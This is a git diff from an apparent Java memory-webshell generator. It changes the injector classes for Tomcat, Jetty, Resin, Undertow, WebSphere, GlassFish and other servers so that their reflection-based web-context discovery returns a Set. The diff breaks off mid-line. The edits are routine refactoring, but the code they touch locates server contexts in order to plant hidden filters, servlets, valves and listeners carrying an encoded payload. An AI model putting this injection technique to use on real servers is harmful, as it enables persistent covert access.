diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicFilterInjector.java index e4af7434..e5255058 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicFilterInjector.java @@ -7,10 +7,7 @@ import java.io.PrintStream; import java.lang.reflect.Array; import java.lang.reflect.Field; import java.lang.reflect.Method; -import java.util.ArrayList; -import java.util.List; -import java.util.Map; -import java.util.Set; +import java.util.*; import java.util.zip.GZIPInputStream; /** @@ -34,7 +31,7 @@ public class ApusicFilterInjector { } public ApusicFilterInjector() { - List contexts = null; + Set contexts = null; try { contexts = getContext(); } catch (Throwable throwable) { @@ -77,8 +74,8 @@ public class ApusicFilterInjector { * context -> webapp: com.apusic.deploy.runtime.WebModule * /usr/local/ass/lib/apusic.jar */ - public List getContext() throws Exception { - List contexts = new ArrayList(); + public Set getContext() throws Exception { + Set contexts = new HashSet(); Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { if (thread.getName().contains("HouseKeeper")) { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicListenerInjector.java index 6e5c9dfe..3269cab5 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicListenerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicListenerInjector.java @@ -6,10 +6,7 @@ import java.io.IOException; import java.io.PrintStream; import java.lang.reflect.Field; import java.lang.reflect.Method; -import java.util.ArrayList; -import java.util.List; -import java.util.Map; -import java.util.Set; +import java.util.*; import java.util.zip.GZIPInputStream; /** @@ -33,7 +30,7 @@ public class ApusicListenerInjector { } public ApusicListenerInjector() { - List contexts = null; + Set contexts = null; try { contexts = getContext(); } catch (Throwable throwable) { @@ -71,8 +68,8 @@ public class ApusicListenerInjector { return c + "(" + r + ")"; } - public List getContext() throws Exception { - List contexts = new ArrayList(); + public Set getContext() throws Exception { + Set contexts = new HashSet(); Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { if (thread.getName().contains("HouseKeeper")) { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicServletInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicServletInjector.java index 18c60883..2af92e40 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicServletInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicServletInjector.java @@ -6,10 +6,7 @@ import java.io.IOException; import java.io.PrintStream; import java.lang.reflect.Field; import java.lang.reflect.Method; -import java.util.ArrayList; -import java.util.List; -import java.util.Map; -import java.util.Set; +import java.util.*; import java.util.zip.GZIPInputStream; /** @@ -33,7 +30,7 @@ public class ApusicServletInjector { } public ApusicServletInjector() { - List contexts = null; + Set contexts = null; try { contexts = getContext(); } catch (Throwable throwable) { @@ -71,8 +68,8 @@ public class ApusicServletInjector { return c + "(" + r + ")"; } - public List getContext() throws Exception { - List contexts = new ArrayList(); + public Set getContext() throws Exception { + Set contexts = new HashSet(); Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { if (thread.getName().contains("HouseKeeper")) { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterInjector.java index 02359e18..c79ae797 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterInjector.java @@ -30,7 +30,7 @@ public class BesFilterInjector { } public BesFilterInjector() { - List contexts = null; + Set contexts = null; try { contexts = getContext(); } catch (Throwable throwable) { @@ -72,8 +72,8 @@ public class BesFilterInjector { * com.bes.enterprise.webtier.core.DefaultContext * /opt/bes/lib/bes-engine.jar */ - public List getContext() throws Exception { - List contexts = new ArrayList(); + public Set getContext() throws Exception { + Set contexts = new HashSet(); Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { if (thread.getName().contains("ContainerBackgroundProcessor")) { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesListenerInjector.java index 686e82e5..94376086 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesListenerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesListenerInjector.java @@ -26,7 +26,7 @@ public class BesListenerInjector { } public BesListenerInjector() { - List contexts = null; + Set contexts = null; try { contexts = getContext(); } catch (Throwable throwable) { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesValveInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesValveInjector.java index 553e196c..acfbe23b 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesValveInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesValveInjector.java @@ -25,7 +25,7 @@ public class BesValveInjector { } public BesValveInjector() { - List contexts = null; + Set contexts = null; try { contexts = getContext(); } catch (Throwable throwable) { @@ -63,8 +63,8 @@ public class BesValveInjector { return c + "(" + r + ")"; } - public List getContext() throws Exception { - List contexts = new ArrayList(); + public Set getContext() throws Exception { + Set contexts = new HashSet(); Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { if (thread.getName().contains("ContainerBackgroundProcessor")) { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterInjector.java index e9e3d3fd..ee90338b 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterInjector.java @@ -7,10 +7,7 @@ import java.io.PrintStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; -import java.util.ArrayList; -import java.util.List; -import java.util.Map; -import java.util.Set; +import java.util.*; import java.util.zip.GZIPInputStream; /** @@ -33,7 +30,7 @@ public class GlassFishFilterInjector { } public GlassFishFilterInjector() { - List contexts = null; + Set contexts = null; try { contexts = getContext(); } catch (Throwable throwable) { @@ -75,8 +72,8 @@ public class GlassFishFilterInjector { * com.sun.enterprise.web.WebModule * /xxx/modules/web-glue.jar */ - public List getContext() throws Exception { - List contexts = new ArrayList(); + public Set getContext() throws Exception { + Set contexts = new HashSet(); Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { if (thread.getName().contains("ContainerBackgroundProcessor")) { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishValveInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishValveInjector.java index 8c168a3d..03647abd 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishValveInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishValveInjector.java @@ -26,7 +26,7 @@ public class GlassFishValveInjector { public GlassFishValveInjector() { - List contexts = null; + Set contexts = null; try { contexts = getContext(); } catch (Throwable throwable) { @@ -64,8 +64,8 @@ public class GlassFishValveInjector { return c + "(" + r + ")"; } - public List getContext() throws Exception { - List contexts = new ArrayList(); + public Set getContext() throws Exception { + Set contexts = new HashSet(); Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { if (thread.getName().contains("ContainerBackgroundProcessor")) { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/inforsuite/InforSuiteFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/inforsuite/InforSuiteFilterInjector.java index 0e040ddb..c2432ae7 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/inforsuite/InforSuiteFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/inforsuite/InforSuiteFilterInjector.java @@ -31,7 +31,7 @@ public class InforSuiteFilterInjector { } public InforSuiteFilterInjector() { - List contexts = null; + Set contexts = null; try { contexts = getContext(); } catch (Throwable throwable) { @@ -73,8 +73,8 @@ public class InforSuiteFilterInjector { * com.cvicse.loong.enterprise.web.WebModule * /usr/local/inforsuite/as/modules/web-glue.jar */ - public List getContext() throws Exception { - List contexts = new ArrayList(); + public Set getContext() throws Exception { + Set contexts = new HashSet(); Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { if (thread.getName().contains("ContainerBackgroundProcessor")) { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java index 7f06ae81..1b6a25e3 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java @@ -6,6 +6,7 @@ import java.io.IOException; import java.io.PrintStream; import java.lang.reflect.*; import java.util.ArrayList; +import java.util.HashSet; import java.util.List; import java.util.Set; import java.util.zip.GZIPInputStream; @@ -33,7 +34,7 @@ public class JettyFilterInjector { } public JettyFilterInjector() { - List contexts = null; + Set contexts = null; try { contexts = getContext(); } catch (Throwable throwable) { @@ -154,8 +155,8 @@ public class JettyFilterInjector { * org.eclipse.jetty.ee9.webapp.WebAppContext * org.eclipse.jetty.ee10.webapp.WebAppContext */ - private List getContext() throws Exception { - List contexts = new ArrayList(); + public Set getContext() throws Exception { + Set contexts = new HashSet(); Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { try { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyListenerInjector.java index 66af3609..7e3f0871 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyListenerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyListenerInjector.java @@ -8,10 +8,7 @@ import java.lang.reflect.Array; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; -import java.util.ArrayList; -import java.util.EventListener; -import java.util.List; -import java.util.Set; +import java.util.*; import java.util.zip.GZIPInputStream; /** @@ -22,7 +19,7 @@ public class JettyListenerInjector { private String msg = ""; public JettyListenerInjector() { - List contexts = null; + Set contexts = null; try { contexts = getContext(); } catch (Throwable throwable) { @@ -68,8 +65,8 @@ public class JettyListenerInjector { return "{{base64Str}}"; } - private List getContext() throws Exception { - List contexts = new ArrayList(); + public Set getContext() throws Exception { + Set contexts = new HashSet(); Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { try { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyServletInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyServletInjector.java index 70ef0e8c..ae51b449 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyServletInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyServletInjector.java @@ -6,6 +6,7 @@ import java.io.IOException; import java.io.PrintStream; import java.lang.reflect.*; import java.util.ArrayList; +import java.util.HashSet; import java.util.List; import java.util.Set; import java.util.zip.GZIPInputStream; @@ -31,7 +32,7 @@ public class JettyServletInjector { } public JettyServletInjector() { - List contexts = null; + Set contexts = null; try { contexts = getContext(); } catch (Throwable throwable) { @@ -77,8 +78,8 @@ public class JettyServletInjector { } } - private List getContext() throws Exception { - List contexts = new ArrayList(); + public Set getContext() throws Exception { + Set contexts = new HashSet(); Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { try { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterInjector.java index 14a8bcc8..88048e8e 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterInjector.java @@ -29,7 +29,7 @@ public class ResinFilterInjector { } public ResinFilterInjector() { - List contexts = null; + Set contexts = null; try { contexts = getContext(); } catch (Throwable throwable) { @@ -71,7 +71,7 @@ public class ResinFilterInjector { * com.caucho.server.webapp.Application * /usr/local/resin3/lib/resin.jar */ - public List getContext() throws Exception { + public Set getContext() throws Exception { Set contexts = new HashSet(); Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { @@ -87,7 +87,7 @@ public class ResinFilterInjector { contexts.add(webApp); } } - return Arrays.asList(contexts.toArray()); + return contexts; } public ClassLoader getWebAppClassLoader(Object context) throws Exception { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinListenerInjector.java index d28abe0d..cbb859c7 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinListenerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinListenerInjector.java @@ -28,7 +28,7 @@ public class ResinListenerInjector { } public ResinListenerInjector() { - List contexts = null; + Set contexts = null; try { contexts = getContext(); } catch (Throwable throwable) { @@ -66,7 +66,7 @@ public class ResinListenerInjector { return c + "(" + r + ")"; } - public List getContext() throws Exception { + public Set getContext() throws Exception { Set contexts = new HashSet(); Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { @@ -82,7 +82,7 @@ public class ResinListenerInjector { contexts.add(webApp); } } - return Arrays.asList(contexts.toArray()); + return contexts; } public ClassLoader getWebAppClassLoader(Object context) throws Exception { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinServletInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinServletInjector.java index 2cea7b26..56103412 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinServletInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinServletInjector.java @@ -30,7 +30,7 @@ public class ResinServletInjector { } public ResinServletInjector() { - List contexts = null; + Set contexts = null; try { contexts = getContext(); } catch (Throwable throwable) { @@ -68,7 +68,7 @@ public class ResinServletInjector { return c + "(" + r + ")"; } - public List getContext() throws Exception { + public Set getContext() throws Exception { Set contexts = new HashSet(); Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { @@ -80,7 +80,7 @@ public class ResinServletInjector { } catch (Exception ignored) { } } - return Arrays.asList(contexts.toArray()); + return contexts; } public ClassLoader getWebAppClassLoader(Object context) throws Exception { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterInjector.java index c83e4b77..5c7b762a 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterInjector.java @@ -7,10 +7,7 @@ import java.io.PrintStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; -import java.util.ArrayList; -import java.util.List; -import java.util.Map; -import java.util.Set; +import java.util.*; import java.util.zip.GZIPInputStream; /** @@ -21,7 +18,7 @@ public class TomcatFilterInjector { private String msg = ""; public TomcatFilterInjector() { - List contexts = null; + Set contexts = null; try { contexts = getContext(); } catch (Throwable throwable) { @@ -75,8 +72,8 @@ public class TomcatFilterInjector { * org.apache.catalina.core.StandardContext * /usr/local/tomcat/server/lib/catalina.jar */ - public List getContext() throws Exception { - List contexts = new ArrayList(); + public Set getContext() throws Exception { + Set contexts = new HashSet(); Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { if (thread.getName().contains("ContainerBackgroundProcessor")) { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatProxyValveInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatProxyValveInjector.java index 26f95cfc..42680e37 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatProxyValveInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatProxyValveInjector.java @@ -8,10 +8,7 @@ import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Method; import java.lang.reflect.Proxy; -import java.util.ArrayList; -import java.util.List; -import java.util.Map; -import java.util.Set; +import java.util.*; import java.util.zip.GZIPInputStream; /** @@ -24,7 +21,7 @@ public class TomcatProxyValveInjector implements InvocationHandler { private String msg = ""; public TomcatProxyValveInjector() { - List contexts = null; + Set contexts = null; try { contexts = getContext(); } catch (Throwable throwable) { @@ -92,8 +89,8 @@ public class TomcatProxyValveInjector implements InvocationHandler { return method.invoke(rawValve, args); } - public List getContext() throws Exception { - List contexts = new ArrayList(); + public Set getContext() throws Exception { + Set contexts = new HashSet(); Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { if (thread.getName().contains("ContainerBackgroundProcessor")) { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatServletInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatServletInjector.java index b8e8e859..53cbbe16 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatServletInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatServletInjector.java @@ -8,10 +8,7 @@ import java.lang.reflect.Array; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; -import java.util.ArrayList; -import java.util.List; -import java.util.Map; -import java.util.Set; +import java.util.*; import java.util.zip.GZIPInputStream; /** @@ -35,7 +32,7 @@ public class TomcatServletInjector { } public TomcatServletInjector() { - List contexts = null; + Set contexts = null; try { contexts = getContext(); } catch (Throwable throwable) { @@ -73,8 +70,8 @@ public class TomcatServletInjector { return c + "(" + r + ")"; } - public List getContext() throws Exception { - List contexts = new ArrayList(); + public Set getContext() throws Exception { + Set contexts = new HashSet(); Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { if (thread.getName().contains("ContainerBackgroundProcessor")) { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatValveInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatValveInjector.java index 87aac842..2fdcefb9 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatValveInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatValveInjector.java @@ -25,7 +25,7 @@ public class TomcatValveInjector { } public TomcatValveInjector() { - List contexts = null; + Set contexts = null; try { contexts = getContext(); } catch (Throwable throwable) { @@ -63,8 +63,8 @@ public class TomcatValveInjector { return c + "(" + r + ")"; } - public List getContext() throws Exception { - List contexts = new ArrayList(); + public Set getContext() throws Exception { + Set contexts = new HashSet(); Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { if (thread.getName().contains("ContainerBackgroundProcessor")) { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatWebSocketInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatWebSocketInjector.java index a993547d..bf822cc2 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatWebSocketInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatWebSocketInjector.java @@ -7,10 +7,7 @@ import java.io.PrintStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; -import java.util.ArrayList; -import java.util.HashMap; -import java.util.List; -import java.util.Set; +import java.util.*; import java.util.zip.GZIPInputStream; /** @@ -34,7 +31,7 @@ public class TomcatWebSocketInjector { } public TomcatWebSocketInjector() { - List contexts = null; + Set contexts = null; try { contexts = getContext(); } catch (Throwable throwable) { @@ -72,8 +69,8 @@ public class TomcatWebSocketInjector { return c + "(" + r + ")"; } - public List getContext() throws Exception { - List contexts = new ArrayList(); + public Set getContext() throws Exception { + Set contexts = new HashSet(); Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { if (thread.getName().contains("ContainerBackgroundProcessor")) { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterInjector.java index 7fc1acea..baa42b8f 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterInjector.java @@ -80,7 +80,7 @@ public class TongWebFilterInjector { * /opt/tweb8/version8.0.6.2/tongweb-web.jar */ public Set getContext() throws Exception { - Set contexts = new HashSet<>(); + Set contexts = new HashSet(); Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { try { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebListenerInjector.java index 93e89ad5..537c0308 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebListenerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebListenerInjector.java @@ -64,7 +64,7 @@ public class TongWebListenerInjector { } public Set getContext() throws Exception { - Set contexts = new HashSet<>(); + Set contexts = new HashSet(); Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { if (thread.getName().contains("ContainerBackgroundProcessor")) { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebValveInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebValveInjector.java index 1881a8db..3821e078 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebValveInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebValveInjector.java @@ -64,7 +64,7 @@ public class TongWebValveInjector { } public Set getContext() throws Exception { - Set contexts = new HashSet<>(); + Set contexts = new HashSet(); Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { if (thread.getName().contains("ContainerBackgroundProcessor")) { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowFilterInjector.java index cbdf367d..00555273 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowFilterInjector.java @@ -30,7 +30,7 @@ public class UndertowFilterInjector { } public UndertowFilterInjector() { - List contexts = null; + Set contexts = null; try { contexts = getContext(); } catch (Throwable throwable) { @@ -68,8 +68,8 @@ public class UndertowFilterInjector { return c + "(" + r + ")"; } - public List getContext() { - List contexts = new ArrayList(); + public Set getContext() throws Exception { + Set contexts = new HashSet(); Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { try { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowListenerInjector.java index 707b7ba0..7bb7f76a 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowListenerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowListenerInjector.java @@ -8,6 +8,7 @@ import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.util.ArrayList; +import java.util.HashSet; import java.util.List; import java.util.Set; import java.util.zip.GZIPInputStream; @@ -21,7 +22,7 @@ public class UndertowListenerInjector { private String msg = ""; public UndertowListenerInjector() { - List contexts = null; + Set contexts = null; try { contexts = getContext(); } catch (Throwable throwable) { @@ -67,8 +68,8 @@ public class UndertowListenerInjector { return "{{base64Str}}"; } - public List getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException { - List contexts = new ArrayList(); + public Set getContext() throws Exception { + Set contexts = new HashSet(); Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { try { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletInjector.java index a3edb883..3786ecb0 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletInjector.java @@ -8,6 +8,7 @@ import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.util.ArrayList; +import java.util.HashSet; import java.util.List; import java.util.Set; import java.util.zip.GZIPInputStream; @@ -33,7 +34,7 @@ public class UndertowServletInjector { } public UndertowServletInjector() { - List contexts = null; + Set contexts = null; try { contexts = getContext(); } catch (Throwable throwable) { @@ -71,8 +72,8 @@ public class UndertowServletInjector { return c + "(" + r + ")"; } - public List getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException { - List contexts = new ArrayList(); + public Set getContext() throws Exception { + Set contexts = new HashSet(); Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { try { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereFilterInjector.java index d78ffcf1..1abfe7ad 100755 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereFilterInjector.java @@ -9,7 +9,9 @@ import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.ArrayList; +import java.util.HashSet; import java.util.List; +import java.util.Set; import java.util.zip.GZIPInputStream; @@ -36,7 +38,7 @@ public class WebSphereFilterInjector { } public WebSphereFilterInjector() { - List contexts = null; + Set contexts = null; try { contexts = getContext(); } catch (Throwable throwable) { @@ -78,27 +80,22 @@ public class WebSphereFilterInjector { * com.ibm.ws.webcontainer.webapp.WebAppImpl * /opt/IBM/WebSphere/AppServer/plugins/com.ibm.ws.webcontainer.jar */ - public List getContext() throws Exception { - List contexts = new ArrayList(); - Object context; - Object obj = getFieldValue(Thread.currentThread(), "wsThreadLocals"); - Object[] wsThreadLocals = (Object[]) obj; + public Set getContext() throws Exception { + Set contexts = new HashSet(); + Object[] wsThreadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals"); for (Object wsThreadLocal : wsThreadLocals) { - obj = wsThreadLocal; // for websphere 7.x - if (obj != null && obj.getClass().getName().endsWith("FastStack")) { - Object[] stackList = (Object[]) getFieldValue(obj, "stack"); + if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("FastStack")) { + Object[] stackList = (Object[]) getFieldValue(wsThreadLocal, "stack"); for (Object stack : stackList) { try { Object config = getFieldValue(stack, "config"); - context = getFieldValue(getFieldValue(config, "context"), "context"); - contexts.add(context); + contexts.add(getFieldValue(getFieldValue(config, "context"), "context")); } catch (Exception ignored) { } } - } else if (obj != null && obj.getClass().getName().endsWith("WebContainerRequestState")) { - context = getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(obj, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context"); - contexts.add(context); + } else if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("WebContainerRequestState")) {; + contexts.add(getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(wsThreadLocal, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context")); } } return contexts; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereListenerInjector.java index d25d746d..8ae8874a 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereListenerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereListenerInjector.java @@ -7,7 +7,9 @@ import java.io.PrintStream; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.ArrayList; +import java.util.HashSet; import java.util.List; +import java.util.Set; import java.util.zip.GZIPInputStream; /** @@ -26,7 +28,7 @@ public class WebSphereListenerInjector { } public WebSphereListenerInjector() { - List contexts = null; + Set contexts = null; try { contexts = getContext(); } catch (Throwable throwable) { @@ -64,27 +66,22 @@ public class WebSphereListenerInjector { return c + "(" + r + ")"; } - public List getContext() throws Exception { - List contexts = new ArrayList(); - Object context; - Object obj = getFieldValue(Thread.currentThread(), "wsThreadLocals"); - Object[] wsThreadLocals = (Object[]) obj; + public Set getContext() throws Exception { + Set contexts = new HashSet(); + Object[] wsThreadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals"); for (Object wsThreadLocal : wsThreadLocals) { - obj = wsThreadLocal; // for websphere 7.x - if (obj != null && 